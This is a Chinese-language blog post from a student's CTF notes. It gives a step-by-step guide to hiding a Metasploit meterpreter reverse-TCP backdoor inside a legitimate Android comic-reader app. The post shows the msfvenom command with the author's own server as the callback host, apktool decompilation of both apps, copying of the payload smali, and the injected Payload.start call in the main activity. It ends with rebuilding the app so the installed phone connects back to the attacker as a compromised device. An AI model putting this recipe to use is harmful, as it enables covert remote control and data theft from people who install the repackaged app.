填坑回,因为之前在CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序 | GamerNoTitle (bili33.top)这篇文章里面说有时间就写,然后写我们CTF俱乐部学期总结的时候就顺带讲了这个,所以就填了个坑

首先要生成带有后门程序的apk文件

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5555 R > pentestlab.apk

这里的host我实际上填的是我的公网服务器的IP地址,生成以后,如果直接安装,手机是肯定会报毒的(特别是装的国产定制ROM如MIUI、COLOROS之类的),这个时候就要把我们的后门程序注入到其他的软件里面去

(装上了会像右边这个图标这样,啥也没有,而且点开除了打开了后门也不会有什么反应)

然后我们反编译一下软件,用Linux(可能会)自带的apktool(如果没有请直走右转Github)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o payload pentestlab.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

这样后门程序就反编译完了,接下来要反编译我们需要的软件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar d -f -o original Cimoc.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1 on Cimoc.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/gamernotitle/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

接着把payload的文件弄到我们要注入的程序目录下

1
2
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ cp payload/smali/com/metasploit/stage original/smali/com/metasploit/stage -r

在软件反编译后的AndroidManifest.xml文件里面,会存放着软件的权限列表、活动列表等信息,在这里可以看到最开始启动了什么活动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="29" android:compileSdkVersionCodename="10" package="com.hiroshi.cimoc" platformBuildVersionCode="29" platformBuildVersionName="10">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:name="com.hiroshi.cimoc.App" android:requestLegacyExternalStorage="true" android:supportsRtl="true" android:theme="@style/AppTheme" android:usesCleartextTraffic="true">
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.hiroshi.cimoc.ui.activity.ResultActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.ChapterActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TagEditorActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.TaskActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SettingsActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.settings.ReaderConfigActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BackupActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.AboutActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.CategoryActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SearchActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.SourceDetailActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.PartFavoriteActivity" android:screenOrientation="unspecified"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.DirPickerActivity" android:screenOrientation="unspecified"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.settings.EventSettingsActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.PageReaderActivity"/>
<activity android:configChanges="orientation|screenSize" android:name="com.hiroshi.cimoc.ui.activity.StreamReaderActivity"/>
<service android:name="com.hiroshi.cimoc.service.DownloadService"/>
<activity android:name="com.hiroshi.cimoc.ui.activity.BrowserFilter" android:theme="@android:style/Theme.NoDisplay">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:mimeType="text/plain"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="cimoc"/>
<data android:host="m.buka.cn" android:scheme="http"/>
<data android:host="m.buka.cn" android:scheme="https"/>
<data android:host="www.dm5.com" android:scheme="http"/>
<data android:host="www.dm5.com" android:scheme="https"/>
<data android:host="tel.dm5.com" android:scheme="http"/>
<data android:host="tel.dm5.com" android:scheme="https"/>
<data android:host="manhua.dmzj.com" android:scheme="http"/>
<data android:host="manhua.dmzj.com" android:scheme="https"/>
<data android:host="m.dmzj.com" android:scheme="http"/>
<data android:host="m.dmzj.com" android:scheme="https"/>
<data android:host="m.5qmh.com" android:scheme="http"/>
<data android:host="m.5qmh.com" android:scheme="https"/>
<data android:host="m.pufei.net" android:scheme="http"/>
<data android:host="m.pufei.net" android:scheme="https"/>
<data android:host="ac.qq.com" android:scheme="http"/>
<data android:host="ac.qq.com" android:scheme="https"/>
<data android:host="m.ac.qq.com" android:scheme="http"/>
<data android:host="m.ac.qq.com" android:scheme="https"/>
<data android:host="www.u17.com" android:scheme="http"/>
<data android:host="www.u17.com" android:scheme="https"/>
<data android:host="www.migudm.cn" android:scheme="http"/>
<data android:host="www.migudm.cn" android:scheme="https"/>
<data android:host="m.migudm.cn" android:scheme="http"/>
<data android:host="m.migudm.cn" android:scheme="https"/>
<data android:host="99770.hhxxee.com" android:scheme="http"/>
<data android:host="99770.hhxxee.com" android:scheme="https"/>
<data android:host="www.cartoonmad.com" android:scheme="http"/>
<data android:host="www.cartoonmad.com" android:scheme="https"/>
<data android:host="www.2animx.com" android:scheme="http"/>
<data android:host="www.2animx.com" android:scheme="https"/>
<data android:host="www.50mh.com" android:scheme="http"/>
<data android:host="www.50mh.com" android:scheme="https"/>
<data android:host="m.50mh.com" android:scheme="http"/>
<data android:host="m.50mh.com" android:scheme="https"/>
<data android:host="www.manhuadb.com" android:scheme="http"/>
<data android:host="www.manhuadb.com" android:scheme="https"/>
<data android:host="m.bnmanhua.com" android:scheme="http"/>
<data android:host="m.bnmanhua.com" android:scheme="https"/>
<data android:host="m.tohomh123.com" android:scheme="http"/>
<data android:host="m.tohomh123.com" android:scheme="https"/>
<data android:host="www.chuixue.net" android:scheme="http"/>
<data android:host="www.chuixue.net" android:scheme="https"/>
<data android:host="m.517manhua.com" android:scheme="http"/>
<data android:host="m.517manhua.com" android:scheme="https"/>
</intent-filter>
</activity>
<provider android:authorities="com.hiroshi.cimoc" android:exported="false" android:grantUriPermissions="true" android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths_public"/>
</provider>
<service android:directBootAware="true" android:exported="false" android:name="com.google.firebase.components.ComponentDiscoveryService">
<meta-data android:name="com.google.firebase.components:com.google.firebase.crashlytics.CrashlyticsRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.remoteconfig.RemoteConfigRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.abt.component.AbtRegistrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
<meta-data android:name="com.google.firebase.components:com.google.firebase.iid.Registrar" android:value="com.google.firebase.components.ComponentRegistrar"/>
</service>
<receiver android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementReceiver"/>
<receiver android:enabled="true" android:exported="true" android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver" android:permission="android.permission.INSTALL_PACKAGES">
<intent-filter>
<action android:name="com.android.vending.INSTALL_REFERRER"/>
</intent-filter>
</receiver>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementService"/>
<service android:enabled="true" android:exported="false" android:name="com.google.android.gms.measurement.AppMeasurementJobService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="true" android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver" android:permission="com.google.android.c2dm.permission.SEND">
<intent-filter>
<action android:name="com.google.android.c2dm.intent.RECEIVE"/>
</intent-filter>
</receiver>
<provider android:authorities="com.hiroshi.cimoc.firebaseinitprovider" android:exported="false" android:initOrder="100" android:name="com.google.firebase.provider.FirebaseInitProvider"/>
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
<meta-data android:name="com.google.android.gms.version" android:value="@integer/google_play_services_version"/>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.backends.TransportBackendDiscovery">
<meta-data android:name="backend:com.google.android.datatransport.cct.CctBackendFactory" android:value="cct"/>
</service>
<service android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.JobInfoSchedulerService" android:permission="android.permission.BIND_JOB_SERVICE"/>
<receiver android:exported="false" android:name="com.google.android.datatransport.runtime.scheduling.jobscheduling.AlarmManagerSchedulerBroadcastReceiver"/>
</application>
</manifest>

其中,下面这行就告诉我们启动了一个名为com.hiroshi.cimoc.ui.activity.MainActivity的活动

1
<activity android:name="com.hiroshi.cimoc.ui.activity.MainActivity" android:screenOrientation="unspecified" android:windowSoftInputMode="adjustPan">

然后我们找到这个活动的代码,把我们的函数修改一下,让它调用我们的后门(这里没有加固,也会被检测出来)

【这个寻找的过程其实很麻烦,特别是像tx和网E这种的,超级难找】

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

找到我们的AndroidManifest.xml,在权限列表里面加入我们需要的权限,然后编译

1
2
3
4
5
6
7
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

(应用原来就有的权限,可以自己添加,格式可以参考Google的开发文档)

同样使用apktool进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(gamernotitle㉿kali-vmware)-[~/apk]
└─$ java -jar apktool_2.6.1.jar b ~/apk/original/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
I: Copying libs... (/lib)
I: Copying libs... (/kotlin)
I: Building apk file...
I: Copying unknown files/dir...
I: Built apk...

这样就编译完了,把软件放到手机上进行安装,打开后在服务器就可以看到肉鸡上线了